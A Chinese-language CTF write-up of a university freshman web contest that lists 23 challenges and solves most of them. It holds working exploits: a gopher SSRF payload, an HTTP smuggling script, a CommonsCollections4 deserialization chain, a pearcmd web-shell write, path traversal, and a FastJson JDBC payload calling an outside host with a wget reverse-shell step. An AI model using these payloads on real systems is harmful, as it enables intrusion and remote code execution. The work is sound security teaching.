2025_SCU_0x401新生交流赛WEB方向解题报告 本次交流赛,WEB 方向共设 23 题,已解出 22 题,以下是是较为简略的个人解题报告(以下题目顺序按照解题人数从多到少排序)。
No.
Challenge Name
Key Points
Solved
Difficulty
1
Web学习指北
Base64解码
37
Baby
2
LuckyBox
前端JS
36
Baby
3
【糕手】php-master
PHP动态执行命令WAF绕过
28
Baby
4
【糕手】rce-master
Shell命令WAF绕过
28
Baby
5
【糕手】unser-master
简单PHP反序列化
24
Baby
6
php_beginner
PHP解析变量特性
23
Eazy
7
AdminPanel
JWT无验签伪造 & pickle反序列化WAF绕过(subprocess)
21
Eazy
8
【糕手】upload-master
.user.ini文件上传
21
Eazy
9
NowYouSeeMe
响应头Etag信息搜集
19
Eazy
10
Just A Browser
gopher协议打POST & 8进制绕过WAF
17
Eazy
11
Bait-and-switch
PHP变量覆盖 & 简单逻辑绕过
16
Eazy
12
AdminPanelPlus
JWT无验签伪造 & pickle反序列化WAF绕过(文件读取非预期)
14
Medium
13
ezspring
爆破 &SPEL注入
10
Medium
14
【糕手】源审启动
HTTP请求走私 & 缓冲区截断攻击
10
Medium
15
OpenSourceBlog
emlog任意文件上传漏洞 & PHP代码关键词WAF
9
Medium
16
ezjava
BadAttributeValueExpException改CC4链
3
Hard
17
IIInclude
PHP匿名类调用 & 序列化关键词WAF绕过 & __PHP_Incomplete_Class利用 & peclcmd替换pearcmd写shell
2
Hard
18
Maze
AI生成脚本 & Python原型链污染
2
Hard
19
Z3Blog
PHP代码审计
2
Hard
20
ERP
Java代码审计 & FastJson打JDBC反序列化
1
Hard
21
ImgUpload
Apache中间件安全:路径截断 & 根目录重写
1
Hard
22
Imgviewer
CVE-2024-2961:图片处理函数到任意文件读 & 任意文件读到RCE
1
Hard
23
RuoYi
*
0
Insane
Web学习指北(37solved) 考点:base64解码
LuckyBox(36solved) 考点:前端 js 控制台运行
【糕手】php-master(28solved) 考点:php动态执行命令黑名单绕过
【糕手】rce-master(28solved) 考点:shell命令黑名单绕过
【糕手】unser-master(24solved) 考点:简单的 php 反序列化
php_beginner(23solved) 考点:php解析特性
AdminPanel(21solved) 考点:jwt无验签伪造 + pickle反序列化WAF绕过(subprocess)
【糕手】upload-master(21solved) 考点:.user.ini
NowYouSeeMe(19solved) 考点:响应头Etag信息搜集。
Just A Browser(17solved) 考点:SSRF & 8进制绕过 WAF。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import urllib.parsepayload =r"""POST /backdoor.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 69 exp="\163\171\163\164\145\155"("\143\141\164\40\57\146\154\141\147");""" new = urllib.parse.quote(payload, safe='' ) new = new.replace('%0A' , '%0D%0A' ) result = 'gopher://0.0.0.0:80/' + '_' + new print (result)
Bait-and-switch(16solved) 考点:php变量覆盖 & 简单的逻辑绕过
payload:
1 2 3 4 5 { "username" : "guest" , "password" : "guest" , "role" : "admin" }
AdminPanelPlus(14solved) 考点:jwt无验签伪造 & pickle 反序列化WAF绕过
非预期打法:直接 open("/flag") 或 linecache.getlines, ('/flag',))
ezspring(10solved) 考点:不限速六位数爆破 & 无WAF的 SPEL 注入
SPEL 注入点:
【糕手】源审启动(10solved) 考点:HTTP请求走私 & 缓冲区截断(可以结合 AI 进行学习)
protocol.py 中 body_len & 0xFFFF 导致 65536 字节 的 Body 长度被截断为 0 。
预处理
发送一个 65536 字节 Body 的请求给 Proxy。
Proxy 转发给后端,头部写着 Body-Len: 0 ,后面却紧跟 65536 字节数据(开头 POST /flag )。
后端回显 “Welcome”,然后把剩下的数据当成第二个请求解析(回显 “Flag” )。
“Flag” 回复卡在 TCP 缓冲区里 。
触发:你发送任意正常请求,读到了缓冲区里的 “Flag” 。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 import socketimport structimport timedef build_request_bytes (method, uri, headers, body ): data = b'' m_bytes = method.encode('utf-8' ) data += struct.pack('>H' , len (m_bytes)) data += m_bytes u_bytes = uri.encode('utf-8' ) data += struct.pack('>H' , len (u_bytes)) data += u_bytes data += struct.pack('>H' , len (headers)) for k, v in headers.items(): k_b = k.encode('utf-8' ) data += struct.pack('>H' , len (k_b)) data += k_b v_b = v.encode('utf-8' ) data += struct.pack('>H' , len (v_b)) data += v_b b_bytes = body if isinstance (body, bytes ) else body.encode('utf-8' ) data += struct.pack('>H' , len (b_bytes)) data += b_bytes return data def main (): target_ip = '154.94.237.159' target_port = 34530 smuggled = build_request_bytes('POST' , '/flag' , {}, b'' ) partial = b'' partial += struct.pack('>H' , 1 ) + b'A' partial += struct.pack('>H' , 1 ) + b'B' partial += struct.pack('>H' , 0 ) partial += struct.pack('>H' , 0xFFFF ) payload_start = smuggled + partial total_len = 65536 current_len = len (payload_start) padding_len = total_len - current_len if padding_len < 0 : print ("Error: Smuggled request too large?" ) return full_body = payload_start + b'X' * padding_len print (f"Payload size: {len (full_body)} " ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print ("Sending Request 1..." ) req1 = ( b"GET / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Content-Length: 65536\r\n" b"\r\n" ) s.sendall(req1) s.sendall(full_body) print ("Reading Response 1..." ) resp1 = s.recv(4096 ) print ("Response 1 received." ) print ("Sending Request 2..." ) req2 = ( b"GET / HTTP/1.1\r\n" b"Host: localhost\r\n" b"\r\n" ) s.sendall(req2) print ("Reading Response 2..." ) resp2 = s.recv(4096 ) print ("Response 2:" , resp2) s.close() if __name__ == '__main__' : main()
OpenSourceBlog(9solved) 考点:emlog 任意文件上传漏洞 & 关键词 WAF
参考资料:emlog pro 2.2.0 文件上传漏洞分析
ezjava(3solved) 考点:BadAttributeValueExpException 改cc4链(TI)
详解:
1 2 3 4 5 6 7 8 9 10 11 BLACKLIST.add("com.sun.jndi" ); BLACKLIST.add("com.fasterxml.jackson" ); BLACKLIST.add("org.springframework" ); BLACKLIST.add("com.sun.rowset.JdbcRowSetImpl" ); BLACKLIST.add("java.security.SignedObject" ); BLACKLIST.add("java.sql.DriverManager" ); BLACKLIST.add("java.lang.Runtime" ); BLACKLIST.add("java.lang.ProcessBuilder" ); BLACKLIST.add("java.util.PriorityQueue" ); BLACKLIST.add("org.postgresql.ssl.MakeSSL" ); BLACKLIST.add("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" );
WAF了 PriorityQueue,换成 BadAttributeValueExpException 触发。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.keyvalue.TiedMapEntry;import org.apache.commons.collections4.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.InputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class AttackCC4TI { public static void main (String[] args) throws Exception { byte [] bytes = generate(); String b64 = Base64.getEncoder().encodeToString(bytes); java.nio.file.Files.write(java.nio.file.Paths.get("payload.txt" ), b64.getBytes("UTF-8" )); System.out.println("OK payload.txt" ); } static byte [] generate() throws Exception { byte [] clazz = readAll("EchoPayload.class" ); TemplatesImpl templates = new TemplatesImpl (); set(templates, "_name" , "pwn" ); set(templates, "_bytecodes" , new byte [][]{clazz}); set(templates, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , new Class [0 ], new Object [0 ]) }; Transformer chain = new ChainedTransformer (transformers); Map inner = new HashMap (); Map lazy = LazyMap.lazyMap(inner, new ConstantTransformer (1 )); TiedMapEntry entry = new TiedMapEntry (lazy, "foo" ); BadAttributeValueExpException bae = new BadAttributeValueExpException (null ); Field val = BadAttributeValueExpException.class.getDeclaredField("val" ); val.setAccessible(true ); val.set(bae, entry); Field fac = lazy.getClass().getDeclaredField("factory" ); fac.setAccessible(true ); fac.set(lazy, chain); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(bae); oos.close(); return baos.toByteArray(); } static void set (Object obj, String f, Object v) throws Exception { Field field = obj.getClass().getDeclaredField(f); field.setAccessible(true ); field.set(obj, v); } static byte [] readAll(String path) throws Exception { File file = new File (path); InputStream is = new FileInputStream (file); byte [] buf = new byte [(int ) file.length()]; int off = 0 ; int n; while ((n = is.read(buf, off, buf.length - off)) > 0 ) off += n; is.close(); return buf; } }
IIInclude(2solved) 考点:匿名类调用 & s 改S绕过关键词 WAF & __PHP_Incomplete_Class 绕过S检查和 serialize(unserialize(x))!=x & peclcmd代替pearcmd进行写shell包含。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /?+config-create+/<?=@eval($_POST['cmd']);?>+/var/www/html/shell2.php HTTP/1.1 Host : 154.94.237.159:33307User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : application/x-www-form-urlencodedContent-Length : 448Origin : http://154.94.237.159:33307Connection : keep-aliveReferer : http://154.94.237.159:33307/Upgrade-Insecure-Requests : 1Priority : u=0, iinput= class%40 anonymous%00 %2 Fvar%2 Fwww%2 Fhtml%2 Findex.php%3 A45 %240 &user= O%3 A4 %3 A%22 User%22 %3 A2 %3 A%7 Bs%3 A8 %3 A%22 username%22 %3 BS%3 A5 %3 A%22 %5 C61 dmin%22 %3 Bs%3 A5 %3 A%22 value%22 %3 Bs%3 A163 %3 A%22 O%3 A22 %3 A%22 __PHP_Incomplete_Class%22 %3 A3 %3 A%7 Bs%3 A27 %3 A%22 __PHP_Incomplete_Class_Name%22 %3 Bs%3 A10 %3 A%22 Middleware%22 %3 Bs%3 A6 %3 A%22 prefix %22 %3 Bs%3 A19 %3 A%22 %2 Fusr%2 Flocal%2 Flib%2 Fphp%2 F%22 %3 Bs%3 A6 %3 A%22 suffix%22 %3 Bs%3 A15 %3 A%22 %2 F..%2 Fpeclcmd.php%22 %3 B%7 D%22 %3 B%7 D
Maze(2solved) 考点:AI 生成算法绕过第一关迷宫 & python 原型链污染。
参考资料:浅谈Python原型链污染及利用方式-先知社区
本题 flag 格式为:flag{part1-part2-part3}
Z3Blog(2solved) 考点:php 代码审计
漏洞代码:
1 2 3 4 5 $img_dir = dirname (__FILE__ ) . $img_path ;$img_base64 = imgToBase64 ($img_dir );if ($img_base64 ) { echo '<img src="' . $img_base64 . '">' ; }
payload:
1 /index.php?r=User/Index&img_path=%2 F..%2 F..%2 F..%2 F..%2 Fflag
ERP(1solved) 考点:java 代码审计
详解:
任意文件读取:
文件 : src/main/java/com/jsh/erp/controller/ResourceController.java
方法 : download (映射路径 /{apiName}/webp)
download 方法未对 path 参数进行有效的目录遍历限制。LogCostFilter 存在白名单机制,URL 中包含 /webp 即可绕过权限验证。
绕过登陆验证:
文件 : src/main/java/com/jsh/erp/filter/LogCostFilter.java
方法 : doFilter
过滤器中隐藏了一段后门逻辑。如果请求头 X-Auth-Key 和参数 __auth 满足特定哈希关系(基于 secret 密钥),则直接放行请求,绕过登录验证。
这部分直接结合 AI 生成这个哈希逻辑。
FastJson 打 jdbc 反序列化
1 { "name" : { "@type" : "java.lang.AutoCloseable" , "@type" : "com.mysql.jdbc.JDBC4Connection" , "hostToConnectTo" : "123.57.107.33" , "portToConnectTo" : 3308 , "info" : { "user" : "base64ZGVzZXJfQ0MzMV9zaCAyLnNo" , "password" : "pass" , "statementInterceptors" : "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor" , "autoDeserialize" : "true" , "NUM_HOSTS" : "1" } }
wget 写恶意 sh 反弹 shell。
ImgUpload(1solved) 考点:apache 的中间件安全:截断路径 & 根目录重写
参考资料:Blackhat 2024 Confusion Attacks
提示:请注意目前 当前目录 所处的位置
Imgviewer(1solved) 考点:CVE-2024-2961 中的两种打法:oracle 从图片处理函数到任意文件读 & 从任意文件读到 RCE
参考资料:
GitHub - kezibei/php-filter-iconv
github.com/synacktiv/php_filter_chains_oracle_exploit
一次读取失败建议尝试多次读取。